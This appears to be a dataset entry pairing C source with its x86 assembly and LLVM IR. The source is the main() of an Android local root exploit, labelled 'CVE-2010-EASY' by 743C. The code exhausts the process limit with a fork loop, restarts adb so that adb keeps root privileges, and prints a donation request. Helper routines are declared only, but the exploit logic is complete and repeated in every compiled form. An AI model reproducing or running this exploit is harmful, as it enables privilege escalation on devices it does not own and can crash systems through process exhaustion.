#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct rlimit {
  scalar_t__ rlim_cur;
  int /*<<< orphan*/ rlim_max;
};
typedef int pid_t;

/* Variables and functions */
int /*<<< orphan*/ RLIMIT_NPROC;
scalar_t__ RLIM_INFINITY;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ die(char *);
int /*<<< orphan*/ exit(int);
int find_adb();
scalar_t__ fork();
scalar_t__ getrlimit(int /*<<< orphan*/, struct rlimit *);
int /*<<< orphan*/ pipe(int *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ read(int, char *, int);
int /*<<< orphan*/ restart_adb(int);
int /*<<< orphan*/ setsid();
int /*<<< orphan*/ sleep(int);
int /*<<< orphan*/ wait_for_root_adb(int);
int /*<<< orphan*/ write(int, char *, int);
int main(int argc, char **argv) {
  pid_t adb_pid = 0, p;
  int pids = 0, new_pids = 1;
  int pepe[2];
  char c = 0;
  struct rlimit rl;
  printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
  printf("[*] checking NPROC limit ...\n");
  if (getrlimit(RLIMIT_NPROC, &rl) < 0)
    die("[-] getrlimit");
  if (rl.rlim_cur == RLIM_INFINITY) {
    printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. "
           "Exiting.\n");
    exit(1);
  }
  printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
  printf("[*] Searching for adb ...\n");
  adb_pid = find_adb();
  if (!adb_pid)
    die("[-] Cannot find adb");
  printf("[+] Found adb as PID %d\n", adb_pid);
  printf("[*] Spawning children. Dont type anything and wait for reset!\n");
  printf(
      "[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
      "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
      "[*] If you are a company and feel like you profit from our work,\n"
      "[*] we also accept donations > 1000 USD!\n");
  printf("[*]\n[*] adb connection will be reset. restart adb server on desktop "
         "and re-login.\n");
  sleep(5);
  if (fork() > 0)
    exit(0);
  setsid();
  pipe(pepe);
  if (fork() == 0) {
    close(pepe[0]);
    for (;;) {
      if ((p = fork()) == 0) {
        exit(0);
      } else if (p < 0) {
        if (new_pids) {
          printf("\n[+] Forked %d childs.\n", pids);
          new_pids = 0;
          write(pepe[1], &c, 1);
          close(pepe[1]);
        }
      } else {
        ++pids;
      }
    }
  }
  close(pepe[1]);
  read(pepe[0], &c, 1);
  restart_adb(adb_pid);
  if (fork() == 0) {
    fork();
    for (;;)
      sleep(0x743C);
  }
  wait_for_root_adb(adb_pid);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
movl   $0x0,-0x1c(%rbp)
movl   $0x1,-0x20(%rbp)
movb   $0x0,-0x29(%rbp)
lea    0xdea(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe1c(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    0x2db6(%rip),%rax
mov    (%rax),%edi
lea    -0x40(%rbp),%rsi
call   10e0 <getrlimit@plt>
cmp    $0x0,%rax
jge    1253 <main+0x73>
lea    0xe10(%rip),%rdi
call   10b0 <die@plt>
mov    -0x40(%rbp),%rax
mov    0x2d7a(%rip),%rcx
cmp    (%rcx),%rax
jne    127f <main+0x9f>
lea    0xdfe(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    -0x40(%rbp),%rsi
mov    -0x38(%rbp),%edx
lea    0xe24(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe33(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x0,%al
call   1090 <find_adb@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
jne    12c2 <main+0xe2>
lea    0xe2c(%rip),%rdi
call   10b0 <die@plt>
mov    -0x14(%rbp),%esi
lea    0xe31(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe3c(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe6d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf53(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x5,%edi
call   10f0 <sleep@plt>
mov    $0x0,%al
call   1100 <fork@plt>
cmp    $0x0,%rax
jle    131f <main+0x13f>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    $0x0,%al
call   1080 <setsid@plt>
lea    -0x28(%rbp),%rdi
call   1070 <pipe@plt>
mov    $0x0,%al
call   1100 <fork@plt>
cmp    $0x0,%rax
jne    13bf <main+0x1df>
mov    -0x28(%rbp),%edi
call   1060 <close@plt>
mov    $0x0,%al
call   1100 <fork@plt>
mov    %eax,-0x18(%rbp)
cmp    $0x0,%eax
jne    1362 <main+0x182>
xor    %edi,%edi
call   10d0 <exit@plt>
cmpl   $0x0,-0x18(%rbp)
jge    13ac <main+0x1cc>
cmpl   $0x0,-0x20(%rbp)
je     13a7 <main+0x1c7>
mov    -0x1c(%rbp),%esi
lea    0xf1c(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x20(%rbp)
mov    -0x24(%rbp),%edi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1030 <write@plt>
mov    -0x24(%rbp),%edi
call   1060 <close@plt>
jmp    13b5 <main+0x1d5>
mov    -0x1c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1c(%rbp)
jmp    13ba <main+0x1da>
jmp    1348 <main+0x168>
mov    -0x24(%rbp),%edi
call   1060 <close@plt>
mov    -0x28(%rbp),%edi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   10a0 <read@plt>
mov    -0x14(%rbp),%edi
call   10c0 <restart_adb@plt>
mov    $0x0,%al
call   1100 <fork@plt>
cmp    $0x0,%rax
jne    1407 <main+0x227>
mov    $0x0,%al
call   1100 <fork@plt>
mov    $0x743c,%edi
call   10f0 <sleep@plt>
jmp    13f8 <main+0x218>
mov    -0x14(%rbp),%edi
call   1040 <wait_for_root_adb@plt>
xor    %eax,%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x28,%rsp
movb   $0x0,0xf(%rsp)
lea    0xe6a(%rip),%rdi
call   1030 <puts@plt>
lea    0xe9d(%rip),%rdi
call   1030 <puts@plt>
mov    0x2dca(%rip),%rax
mov    (%rax),%edi
lea    0x18(%rsp),%rsi
call   10f0 <getrlimit@plt>
test   %rax,%rax
jns    123b <main+0x4b>
lea    0xdca(%rip),%rdi
call   10c0 <die@plt>
mov    0x18(%rsp),%rsi
mov    0x2d91(%rip),%rax
cmp    (%rax),%rsi
je     134c <main+0x15c>
mov    0x20(%rsp),%edx
lea    0xdb3(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
lea    0xe63(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
call   10a0 <find_adb@plt>
mov    %eax,%ebx
test   %eax,%eax
jne    1287 <main+0x97>
lea    0xda9(%rip),%rdi
call   10c0 <die@plt>
lea    0xdb1(%rip),%rdi
mov    %ebx,%esi
xor    %eax,%eax
call   1060 <printf@plt>
lea    0xe48(%rip),%rdi
call   1030 <puts@plt>
lea    0xe7a(%rip),%rdi
call   1030 <puts@plt>
lea    0xf61(%rip),%rdi
call   1030 <puts@plt>
mov    $0x5,%edi
call   1100 <sleep@plt>
xor    %eax,%eax
call   1110 <fork@plt>
test   %rax,%rax
jg     1376 <main+0x186>
xor    %eax,%eax
call   1090 <setsid@plt>
lea    0x10(%rsp),%rdi
call   1080 <pipe@plt>
xor    %eax,%eax
call   1110 <fork@plt>
test   %rax,%rax
je     1362 <main+0x172>
mov    0x14(%rsp),%edi
call   1070 <close@plt>
mov    0x10(%rsp),%edi
lea    0xf(%rsp),%rsi
mov    $0x1,%edx
call   10b0 <read@plt>
mov    %ebx,%edi
call   10d0 <restart_adb@plt>
xor    %eax,%eax
call   1110 <fork@plt>
test   %rax,%rax
je     1335 <main+0x145>
mov    %ebx,%edi
call   1050 <wait_for_root_adb@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
xor    %eax,%eax
call   1110 <fork@plt>
nopl   0x0(%rax)
mov    $0x743c,%edi
call   1100 <sleep@plt>
jmp    1340 <main+0x150>
lea    0xf16(%rip),%rdi
call   1030 <puts@plt>
mov    $0x1,%edi
call   10e0 <exit@plt>
mov    0x10(%rsp),%edi
call   1070 <close@plt>
xor    %eax,%eax
call   1110 <fork@plt>
test   %eax,%eax
jne    137d <main+0x18d>
xor    %edi,%edi
call   10e0 <exit@plt>
mov    $0x1,%ebx
lea    0xccf(%rip),%r14
lea    0xf(%rsp),%r15
xor    %ebp,%ebp
jmp    13ae <main+0x1be>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
add    $0x1,%ebp
xor    %eax,%eax
call   1110 <fork@plt>
test   %eax,%eax
je     1376 <main+0x186>
test   %eax,%eax
jns    13a0 <main+0x1b0>
test   %ebx,%ebx
jne    13ba <main+0x1ca>
xor    %ebx,%ebx
jmp    13a3 <main+0x1b3>
xor    %ebx,%ebx
mov    %r14,%rdi
mov    %ebp,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x14(%rsp),%edi
mov    %r15,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    0x14(%rsp),%edi
call   1070 <close@plt>
jmp    13a3 <main+0x1b3>

LLVM IR (-O0):
%struct.rlimit = type { i64, i32 }
@.str = [64 x i8] c"[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\0A\0A\00"
@.str.1 = [30 x i8] c"[*] checking NPROC limit ...\0A\00"
@RLIMIT_NPROC = global i32 0
@.str.2 = [14 x i8] c"[-] getrlimit\00"
@RLIM_INFINITY = global i64 0
@.str.3 = [69 x i8] c"[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\0A\00"
@.str.4 = [29 x i8] c"[+] RLIMIT_NPROC={%lu, %lu}\0A\00"
@.str.5 = [27 x i8] c"[*] Searching for adb ...\0A\00"
@.str.6 = [20 x i8] c"[-] Cannot find adb\00"
@.str.7 = [25 x i8] c"[+] Found adb as PID %d\0A\00"
@.str.8 = [63 x i8] c"[*] Spawning children. Dont type anything and wait for reset!\0A\00"
@.str.9 = [244 x i8] c"[*]\0A[*] If you like what we are doing you can send us PayPal money to\0A[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\0A[*] If you are a company and feel like you profit from our work,\0A[*] we also accept donations > 1000 USD!\0A\00"
@.str.10 = [83 x i8] c"[*]\0A[*] adb connection will be reset. restart adb server on desktop and re-login.\0A\00"
@.str.11 = [24 x i8] c"\0A[+] Forked %d childs.\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca [2 x i32]
%11 = alloca i8
%12 = alloca %struct.rlimit
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
store i32 0, i32* %8
store i32 1, i32* %9
store i8 0, i8* %11
%13 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([64 x i8], [64 x i8]* @.str, i64 0, i64 0))
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.1, i64 0, i64 0))
%15 = load i32, i32* @RLIMIT_NPROC
%16 = call i64 @getrlimit(i32 %15, %struct.rlimit* %12)
%17 = icmp slt i64 %16, 0
br i1 %17, label %18, label %20
18: ; preds = %2
%19 = call i32 @die(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
br label %20
20: ; preds = %18, %2
%21 = getelementptr inbounds %struct.rlimit, %struct.rlimit* %12, i32 0, i32 0
%22 = load i64, i64* %21
%23 = load i64, i64* @RLIM_INFINITY
%24 = icmp eq i64 %22, %23
br i1 %24, label %25, label %28
25: ; preds = %20
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([69 x i8], [69 x i8]* @.str.3, i64 0, i64 0))
%27 = call i32 @exit(i32 1)
unreachable
28: ; preds = %20
%29 = getelementptr inbounds %struct.rlimit, %struct.rlimit* %12, i32 0, i32 0
%30 = load i64, i64* %29
%31 = getelementptr inbounds %struct.rlimit, %struct.rlimit* %12, i32 0, i32 1
%32 = load i32, i32* %31
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.4, i64 0, i64 0), i64 %30, i32 %32)
%34 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
%35 = call i32 (...) @find_adb()
store i32 %35, i32* %6
%36 = load i32, i32* %6
%37 = icmp ne i32 %36, 0
br i1 %37, label %40, label %38
38: ; preds = %28
%39 = call i32 @die(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
br label %40
40: ; preds = %38, %28
%41 = load i32, i32* %6
%42 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.7, i64 0, i64 0), i32 %41)
%43 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([63 x i8], [63 x i8]* @.str.8, i64 0, i64 0))
%44 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([244 x i8], [244 x i8]* @.str.9, i64 0, i64 0))
%45 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([83 x i8], [83 x i8]* @.str.10, i64 0, i64 0))
%46 = call i32 @sleep(i32 5)
%47 = call i64 (...) @fork()
%48 = icmp sgt i64 %47, 0
br i1 %48, label %49, label %51
49: ; preds = %40
%50 = call i32 @exit(i32 0)
unreachable
51: ; preds = %40
%52 = call i32 (...) @setsid()
%53 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 0
%54 = call i32 @pipe(i32* %53)
%55 = call i64 (...) @fork()
%56 = icmp eq i64 %55, 0
br i1 %56, label %57, label %88
57: ; preds = %51
%58 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 0
%59 = load i32, i32* %58
%60 = call i32 @close(i32 %59)
br label %61
61: ; preds = %87, %57
%62 = call i64 (...) @fork()
%63 = trunc i64 %62 to i32
store i32 %63, i32* %7
%64 = icmp eq i32 %63, 0
br i1 %64, label %65, label %67
65: ; preds = %61
%66 = call i32 @exit(i32 0)
unreachable
67: ; preds = %61
%68 = load i32, i32* %7
%69 = icmp slt i32 %68, 0
br i1 %69, label %70, label %83
70: ; preds = %67
%71 = load i32, i32* %9
%72 = icmp ne i32 %71, 0
br i1 %72, label %73, label %82
73: ; preds = %70
%74 = load i32, i32* %8
%75 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.11, i64 0, i64 0), i32 %74)
store i32 0, i32* %9
%76 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 1
%77 = load i32, i32* %76
%78 = call i32 @write(i32 %77, i8* %11, i32 1)
%79 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 1
%80 = load i32, i32* %79
%81 = call i32 @close(i32 %80)
br label %82
82: ; preds = %73, %70
br label %86
83: ; preds = %67
%84 = load i32, i32* %8
%85 = add nsw i32 %84, 1
store i32 %85, i32* %8
br label %86
86: ; preds = %83, %82
br label %87
87: ; preds = %86
br label %61
88: ; preds = %51
%89 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 1
%90 = load i32, i32* %89
%91 = call i32 @close(i32 %90)
%92 = getelementptr inbounds [2 x i32], [2 x i32]* %10, i64 0, i64 0
%93 = load i32, i32* %92
%94 = call i32 @read(i32 %93, i8* %11, i32 1)
%95 = load i32, i32* %6
%96 = call i32 @restart_adb(i32 %95)
%97 = call i64 (...) @fork()
%98 = icmp eq i64 %97, 0
br i1 %98, label %99, label %103
99: ; preds = %88
%100 = call i64 (...) @fork()
br label %101
101: ; preds = %101, %99
%102 = call i32 @sleep(i32 29756)
br label %101
103: ; preds = %88
%104 = load i32, i32* %6
%105 = call i32 @wait_for_root_adb(i32 %104)
ret i32 0
}

LLVM IR (-O2):
%struct.rlimit = type { i64, i32 }
@RLIMIT_NPROC = global i32 0
@.str.2 = [14 x i8] c"[-] getrlimit\00"
@RLIM_INFINITY = global i64 0
@.str.4 = [29 x i8] c"[+] RLIMIT_NPROC={%lu, %lu}\0A\00"
@.str.6 = [20 x i8] c"[-] Cannot find adb\00"
@.str.7 = [25 x i8] c"[+] Found adb as PID %d\0A\00"
@.str.11 = [24 x i8] c"\0A[+] Forked %d childs.\0A\00"
@str = [63 x i8] c"[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\0A\00"
@str.12 = [29 x i8] c"[*] checking NPROC limit ...\00"
@str.13 = [26 x i8] c"[*] Searching for adb ...\00"
@str.14 = [62 x i8] c"[*] Spawning children. Dont type anything and wait for reset!\00"
@str.15 = [243 x i8] c"[*]\0A[*] If you like what we are doing you can send us PayPal money to\0A[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\0A[*] If you are a company and feel like you profit from our work,\0A[*] we also accept donations > 1000 USD!\00"
@str.16 = [82 x i8] c"[*]\0A[*] adb connection will be reset. restart adb server on desktop and re-login.\00"
@str.17 = [68 x i8] c"[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [2 x i32]
%4 = alloca i8
%5 = alloca %struct.rlimit
%6 = bitcast [2 x i32]* %3 to i8*
store i8 0, i8* %4
%7 = bitcast %struct.rlimit* %5 to i8*
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([63 x i8], [63 x i8]* @str, i64 0, i64 0))
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str.12, i64 0, i64 0))
%10 = load i32, i32* @RLIMIT_NPROC
%11 = call i64 @getrlimit(i32 %10, %struct.rlimit* %5)
%12 = icmp slt i64 %11, 0
br i1 %12, label %13, label %15
13: ; preds = %2
%14 = call i32 @die(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
br label %15
15: ; preds = %13, %2
%16 = getelementptr inbounds %struct.rlimit, %struct.rlimit* %5, i64 0, i32 0
%17 = load i64, i64* %16
%18 = load i64, i64* @RLIM_INFINITY
%19 = icmp eq i64 %17, %18
br i1 %19, label %20, label %23
20: ; preds = %15
%21 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([68 x i8], [68 x i8]* @str.17, i64 0, i64 0))
%22 = call i32 @exit(i32 1)
unreachable
23: ; preds = %15
%24 = getelementptr inbounds %struct.rlimit, %struct.rlimit* %5, i64 0, i32 1
%25 = load i32, i32* %24
%26 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @.str.4, i64 0, i64 0), i64 %17, i32 %25)
%27 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @str.13, i64 0, i64 0))
%28 = call i32 (...) @find_adb()
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %32
30: ; preds = %23
%31 = call i32 @die(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
br label %32
32: ; preds = %30, %23
%33 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @.str.7, i64 0, i64 0), i32 %28)
%34 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([62 x i8], [62 x i8]* @str.14, i64 0, i64 0))
%35 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([243 x i8], [243 x i8]* @str.15, i64 0, i64 0))
%36 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([82 x i8], [82 x i8]* @str.16, i64 0, i64 0))
%37 = call i32 @sleep(i32 5)
%38 = call i64 (...) @fork()
%39 = icmp sgt i64 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %32
%41 = call i32 @exit(i32 0)
unreachable
42: ; preds = %32
%43 = call i32 (...) @setsid()
%44 = getelementptr inbounds [2 x i32], [2 x i32]* %3, i64 0, i64 0
%45 = call i32 @pipe(i32* %44)
%46 = call i64 (...) @fork()
%47 = icmp eq i64 %46, 0
br i1 %47, label %48, label %79
48: ; preds = %42
%49 = load i32, i32* %44
%50 = call i32 @close(i32 %49)
%51 = call i64 (...) @fork()
%52 = trunc i64 %51 to i32
%53 = icmp eq i32 %52, 0
br i1 %53, label %56, label %54
54: ; preds = %48
%55 = getelementptr inbounds [2 x i32], [2 x i32]* %3, i64 0, i64 1
br label %58
56: ; preds = %73, %48
%57 = call i32 @exit(i32 0)
unreachable
58: ; preds = %54, %73
%59 = phi i32 [ %52, %54 ], [ %77, %73 ]
%60 = phi i32 [ 1, %54 ], [ %75, %73 ]
%61 = phi i32 [ 0, %54 ], [ %74, %73 ]
%62 = icmp slt i32 %59, 0
br i1 %62, label %63, label %71
63: ; preds = %58
%64 = icmp eq i32 %60, 0
br i1 %64, label %73, label %65
65: ; preds = %63
%66 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.11, i64 0, i64 0), i32 %61)
%67 = load i32, i32* %55
%68 = call i32 @write(i32 %67, i8* %4, i32 1)
%69 = load i32, i32* %55
%70 = call i32 @close(i32 %69)
br label %73
71: ; preds = %58
%72 = add nsw i32 %61, 1
br label %73
73: ; preds = %71, %65, %63
%74 = phi i32 [ %61, %65 ], [ %61, %63 ], [ %72, %71 ]
%75 = phi i32 [ 0, %65 ], [ 0, %63 ], [ %60, %71 ]
%76 = call i64 (...) @fork()
%77 = trunc i64 %76 to i32
%78 = icmp eq i32 %77, 0
br i1 %78, label %56, label %58
79: ; preds = %42
%80 = getelementptr inbounds [2 x i32], [2 x i32]* %3, i64 0, i64 1
%81 = load i32, i32* %80
%82 = call i32 @close(i32 %81)
%83 = load i32, i32* %44
%84 = call i32 @read(i32 %83, i8* %4, i32 1)
%85 = call i32 @restart_adb(i32 %28)
%86 = call i64 (...) @fork()
%87 = icmp eq i64 %86, 0
br i1 %87, label %88, label %92
88: ; preds = %79
%89 = call i64 (...) @fork()
br label %90
90: ; preds = %90, %88
%91 = call i32 @sleep(i32 29756)
br label %90
92: ; preds = %79
%93 = call i32 @wait_for_root_adb(i32 %28)
ret i32 0
}